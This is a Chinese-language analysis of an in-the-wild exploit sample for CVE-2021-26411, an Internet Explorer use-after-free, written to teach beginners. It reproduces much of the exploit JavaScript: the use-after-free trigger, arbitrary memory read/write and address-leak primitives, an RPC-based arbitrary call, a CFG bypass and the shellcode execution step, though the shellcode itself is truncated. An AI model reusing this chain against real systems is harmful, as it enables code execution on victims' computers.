CVE-2021-26411 漏洞利用样本分析
概述
该样本是利用 CVE-2021-26411 漏洞进行攻击的 html 文件,攻击目标是 ie 和 edge 浏览器,其最终的目的是执行 shellcode 启动 powershell 进程进行下载行为。关于 CVE-2021-26411 漏洞的原因参考文章 【1】已经讲的比较精细,这里就不在赘述,简要描述是由于 Internet Explorer 的 mshtml 组件中存在一个释放后使用的缺陷。当用户访问了一个恶意页面时,会触发属性对象 nodeValue 的 valueOf 回调。在回调期间,手动调用 clearAttributes(),导致 nodeValue 保存的 BSTR 被提前释放。这样就会造成内存破坏和远程代码执行。关于利用方式参考文章【1】【2】讲的略微精简,所以决定在这里仔细分析一下以供像我这样的漏洞初学者参考。样本分析主要包括漏洞利用部分和 shellcode 部分。
分析环境
Windows 10 x64 1607
IE11,Windbg x86,IDA 7.5
mshtml.dll(11.0.14393.0),jscript9.dll(11.0.14393.0)
样本分析
样本的初始内容是一段混淆&加密的 js。

加密算法使用的是 AES(CBC)。

js 解密后的内容除去 shellcode 基本与参考文章【3】中公布的漏洞利用代码一致,只是做了一些精简。

漏洞利用分析
为了便于对利用原理的理解,我使用了参考文章【3】中的较规范的 js 代码进行分析。
利用过程
1, 利用 CVE-2021-26411 的 UAF 造成类型混淆
2, 利用类型混淆泄露对象元数据,使用泄露对象的元数据伪造一个起始地址为 0,大小为 0xffffffff 的 ArrayBuffer 对象
3, 利用伪造的 ArrayBuffer 对象实现任意读写原语
4, 使用任意读原语实现任意对象地址泄露原语
5, 伪造 RPC_MESSAGE 为任意函数调用做准备
6, bypass CFG
7, 执行 shellcode
造成类型混淆
var godvar arr = [{}]var fake = new ArrayBuffer(0x100)var abf = new ArrayBuffer(0x20010)var alloc = alloc2()var hd0 = document.createAttribute('handle')var hd1 = document.createAttribute('handle')var hd2var element = document.createElement('xxx')var attr1 = document.createAttribute('yyy')
attr1.nodeValue = { valueOf: function() {
hd1.nodeValue = (new alloc1()).nodeValue
element.clearAttributes()
hd2 = hd1.cloneNode()
element.setAttribute('yyy', 1337)
}
}
element.setAttributeNode(attr1)
element.setAttribute('zzz', '0'.repeat((0x20010 - 6) / 2))
element.removeAttributeNode(attr1)
hd0.nodeValue = alloc
element.removeAttributeNode(attr1)//触发 CVE-2021-26411 漏洞
执行 valueOf 的调用栈,执行重写 valueOf 的原因和 CVE-2016-0189 一样,均是需要进行类型转换。

element.removeAttributeNode(attr1) 开始时的 element,其中 attr2.nodeValue 是长度为 0x2000a 的 BSTR,为什么它占用的空间是 0x20010,是因为 BSTR 还包括字符串前长度为 4 字节的长度域和尾部 2字节的 \x00。

element.clearAttributes()//清除 AttributeArray 中的属性元素,释放 attr2.nodeValue 所占空间
element.clearAttributes() 结束后,AttributeArray 中的无效元素将被其最后一个元素 attr2.nodeValue 覆盖,而 attr2.nodeValue 所占空间也被释放,被释放的缘由是参考文章【1】【3】中提到的极长 BSTR (大于 0x8000)。

hd2 = hd1.cloneNode()//重新占用 attr2.nodeValue(BSTR) 释放的内存空间,防止第一次 CBase::DeleteAt 时崩溃
hd2 = hd1.cloneNode() 结束后,原 attr2.nodeValue 所占空间将被重新占用,重新占用的目的有两个:
1, 为了避免在第一次 CBase::DeleteAt 删除 [2] attr1 时 CAttrValue::Free 释放无效内存而崩溃
2, 为了在 CAttrValue::Free 将其释放后继续持有这块内存的地址从而形成悬垂指针

element.setAttribute('yyy', 1337)//避免第二次 CBase::DeleteAt 时崩溃
element.setAttribute(‘yyy’, 1337) 结束后,attr1.nodeValue 被重新设置,重新设置的目的是为了避免在第二次 CBase::DeleteAt 删除 [1] attr1.nodeValue 时对象解引用失败而崩溃。

element.removeAttributeNode(attr1) 结束后虽然 attr2.nodeValue(0874035c) 被释放,但是 hd2.nodeValue (BSTR)仍然持有这块内存的地址。
hd0.nodeValue = alloc//重新占用 attr2.nodeValue(BSTR) 释放的内存空间//这样 hd2.nodeValue 就和 hd0.nodeValue 占用相同的空间
hd0.nodeValue = alloc 结束后 attr2.nodeValue 将被 hd0.nodeValue 重新占用并且与 hd2.nodeValue 形成类型混淆。
hd0.nodeValue 类型值为 0xc safeArray。

hd2.nodeValue 类型值为 0x8 BSTR。

泄露对象元数据,伪造 ArrayBuffer
var leak = new Uint32Array(dump(hd2.nodeValue))var pAbf = leak[6]var pArr = leak[10]var VT_I4 = 0x3var VT_DISPATCH = 0x9var VT_BYREF = 0x4000var bufArr = new Array(0x10)var fakeArr = new Uint32Array(fake)for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4))flush()var ref = new VBArray(hd0.nodeValue)for (var i = 0; i < 0x10; ++i) bufArr[i] = ref.getItem(i + 1)
ref = nullsetData(1, new Data(VT_BYREF | VT_I4, bufArr[4]))setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04))setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c))flush()
ref = new VBArray(hd0.nodeValue)var vt = ref.getItem(1)var gc = ref.getItem(2)var bs = ref.getItem(3)
ref = nullfor (var i = 0; i < 16; ++i) fakeArr[i] = bufArr[i]
fakeArr[4] = bs + 0x40fakeArr[16] = vt
fakeArr[17] = gc
fakeArr[24] = 0xffffffff
function dump(nv) { var ab = new ArrayBuffer(0x20010) var view = new DataView(ab) for (var i = 0; i < nv.length; ++i)
view.setUint16(i * 2 + 4, nv.charCodeAt(i), true) return ab
}var leak = new Uint32Array(dump(hd2.nodeValue))var pAbf = leak[6]//fakevar pArr = leak[10]//arr
dump 函数以 hd2.nodeValue 为参数,使用 string 对象方法 charCodeAt 获取 hd2.nodeValue(0874035c) 处的数据,然后再以 uint32 视图泄露 fake 对象和 arr 对象的地址。

function Data(type, value) { this.type = type this.value = value
}function setData(i, data) { var arr = new Uint32Array(abf)
arr[i * 4] = data.type
arr[i * 4 + 2] = data.value}for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4))
setData 函数将 fake 对象的元数据的地址填充到 abf ArrayBuffer 中。

abf ArrayBuffer。

function flush() {
hd1.nodeValue = (new alloc1()).nodeValue
hd2.nodeValue = 0
hd2 = hd1.cloneNode()
}
flush 函数再将 abf ArrayBuffer 中的数据刷新到 hd2.nodeValue(0874035c)。

var ref = new VBArray(hd0.nodeValue)for (var i = 0; i < 0x10; ++i) bufArr[i] = ref.getItem(i + 1)
使用 hd0.nodeValue(safeArray) 泄露 fake 对象的元数据。

setData(1, new Data(VT_BYREF | VT_I4, bufArr[4]))//0892aea0setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04))//0892aea4setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c))//0892aebcflush()
ref = new VBArray(hd0.nodeValue)var vt = ref.getItem(1)//vftablevar gc = ref.getItem(2)//dtvar bs = ref.getItem(3)//buffer
继续使用 hd0.nodeValue(safeArray) 泄露 fake.ArrayBuffer 的元数据。

for (var i = 0; i < 16; ++i) fakeArr[i] = bufArr[i]
fakeArr[4] = bs + 0x40fakeArr[16] = vt
fakeArr[17] = gc
fakeArr[24] = 0xffffffff
使用泄露的 fake 对象的元数据在 fake.ArrayBuffer.buffer 中伪造对象,伪造的对象是一个起始地址为 0,大小为 0xffffffff 的 ArrayBuffer 对象。

实现任意读写原语
setData(1, new Data(VT_DISPATCH, bs))flush()
ref = new VBArray(hd0.nodeValue)
god = new DataView(ref.getItem(1))
使用伪造的 ArrayBuffer 对象实现任意读写对象 god。
以 god 对象实现任意读。
function read(addr, size) { switch (size) { case 8: return god.getUint8(addr) case 16: return god.getUint16(addr, true) case 32: return god.getUint32(addr, true)
}
}
以 god 对象实现任意写。
function write(addr, value, size) { switch (size) { case 8: return god.setUint8(addr, value) case 16: return god.setUint16(addr, value, true) case 32: return god.setUint32(addr, value, true)
}
}
任意对象地址泄露原语
pArr = read(read(pArr + 0x10, 32) + 0x14, 32) + 0x10function addrOf(obj) {
arr[0] = obj return read(pArr, 32)
}
addrOf 将对象地址存储在 arr[0],然后读取值。
伪造 RPC_MESSAGE
var map = new Map()var jscript9 = getBase(read(addrOf(map), 32))var rpcrt4 = getDllBase(jscript9, 'rpcrt4.dll')var msvcrt = getDllBase(jscript9, 'msvcrt.dll')var ntdll = getDllBase(msvcrt, 'ntdll.dll')var kernelbase = getDllBase(msvcrt, 'kernelbase.dll')var VirtualProtect = getProcAddr(kernelbase, 'VirtualProtect')var LoadLibraryExA = getProcAddr(kernelbase, 'LoadLibraryExA')var xyz = document.createAttribute('xyz')var paoi = addrOf(xyz)var patt = read(addrOf(xyz) + 0x18, 32)var osf_vft = aos()var msg = initRpc()var rpcFree = rpcFree()
伪造 RPC_MESSAGE 之前需要先调用 rpcrt4!I_RpcTransServerNewConnection 以获得 OSF_SCALL_Vftable,OSF_SCALL_Vftable 最终将被设置到 RPC_MESSAGE->Handle 中。而 I_RpcTransServerNewConnection 和后续 rpcrt4!NdrServerCall2 的调用都是通过伪造 Attribute 进行的。
var xyz = document.createAttribute('xyz')var paoi = addrOf(xyz)//0bd01060var patt = read(addrOf(xyz) + 0x18, 32)//0512c1e0
创建 xyz 作为伪造 Attribute 的目标对象。
function aos() { var baseObj = createBase() var addr = baseObj.addr + baseObj.size
var I_RpcTransServerNewConnection = getProcAddr(rpcrt4, 'I_RpcTransServerNewConnection') prepareCall(addr, I_RpcTransServerNewConnection) return read(read(call(addr)-0xf8, 32), 32)
}var osf_vft = aos()//获得 OSF_SCALL_Vftable
伪造 Attribute,这里伪造的 Attribute 只用在 I_RpcTransServerNewConnection 调用,调用 NdrServerCall2 时将会重新构造。
function prepareCall(addr, func) { var buf = createArrayBuffer(cattr.size()) var vft = read(patt, 32)//获得 xyz.Attribute 的虚表地址 vft
memcpy(addr, patt, cbase.size())//复制 xyz.Attribute 的元数据到 addr
memcpy(buf, vft, cattr.size())//复制虚表到 buf
cbase.set(addr, 'pvftable', buf)//设置假虚表指针(buf)到伪造的 Attribute
cattr.set(buf, 'normalize', func)//设置目的函数地址覆盖假虚表中 normalize 函数的地址}prepareCall(addr, I_RpcTransServerNewConnection)//伪造 Attribute
这里伪造的 Attribute 与原 Attribute 只有虚表指针不同。
使用目的函数地址替换假虚表中 normalize 函数的地址,这样调用 xyz.normalize() 函数便可以执行目的函数,normalize 函数地址对比。
function call(addr) { var result = 0
write(paoi + 0x18, addr, 32)//将 xyz 的 Attribute 指针修改为伪造的 Attribute(65172dc)
try {
xyz.normalize()//调用目标函数
} catch (error) {
result = error.number
} write(paoi + 0x18, patt, 32)//恢复 xyz 的 Attribute 指针
return result
}read(read(call(addr)-0xf8, 32), 32)//获得 OSF_SCALL_Vftable
调用方式是先将 xyz 的 Attribute 指针修改为伪造 Attribute 的地址,然后调用 xyz.normalize(),调用完再恢复 xyz 的 Attribute 指针。
var msg = initRpc()//伪造 RPC_MESSAGE 作为 rpcrt4!NdrServerCall2 参数使用
initRpc() 的内容比较庞大这里就不展开说明,这里用一张图说明其构建的 RPC_MESSAGE 主要结构,其中 RPC_MESSAGE 也是伪造的 Attribute,其虚表的 0x28c 处是 xyz.normalize() 执行的 NdrServerCall2 函数的地址。
bypass CFG
function call2(func, args) { readyRpcCall(func)//设置目的函数地址到 Target Func
var buffer = setArgs(args)//设置目的函数参数
call(msg)
map.delete(buffer) return callRpcFreeBuffer()
}function killCfg(addr) { var cfgobj = new CFGObject(addr) if (!cfgobj.getCFGValue()) return
var guard_check_icall_fptr_address = cfgobj.getCFGAddress() var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet') var tmpBuffer = createArrayBuffer(4) call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer]) write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32) call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer])
map.delete(tmpBuffer)
}killCfg(rpcrt4)
构建完 RPC_MESSAGE 后只需将想要调用的函数的地址放在上图中的 Target Func 处并将函数参数放在 ArgementBuffer 处,然后使用 xyz.normalize() 即可执行目的函数。但是由于 rpcrt4!Invoke 在执行目标函数之前会进行 CFG Check,这样只能调用在 CFGBitmap 中的函数,想调用位于任意位置的 shellcode 就需要 bypass CFG。
bypass 的方法是将 RPCRT4!__guard_check_icall_fptr 中保存的负责进行 CFG Check 的函数指针由 ntdll!LdrpValidateUserCallTarget 替换为 ntdll!KiFastSystemCallRet。
执行 shellcode
var shellcode = new Uint8Array([252,232,130,0...])var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000var tmpBuffer = createArrayBuffer(4)call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer])writeData(msi, shellcode)call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer])var result = call2(msi, [])
加载 msi.dll 模块到进程中,将 shellcode 写入距 msi.dll 基址 0x5000 的位置,设置内存属性后执行之。
shellcode 分析
shellcode 通过在 kernel32.dll 模块导出表中查找 WinExec 函数的地址,然后使用其执行了命令行。
最终执行了一段 powershell 脚本执行继续执行下载动作。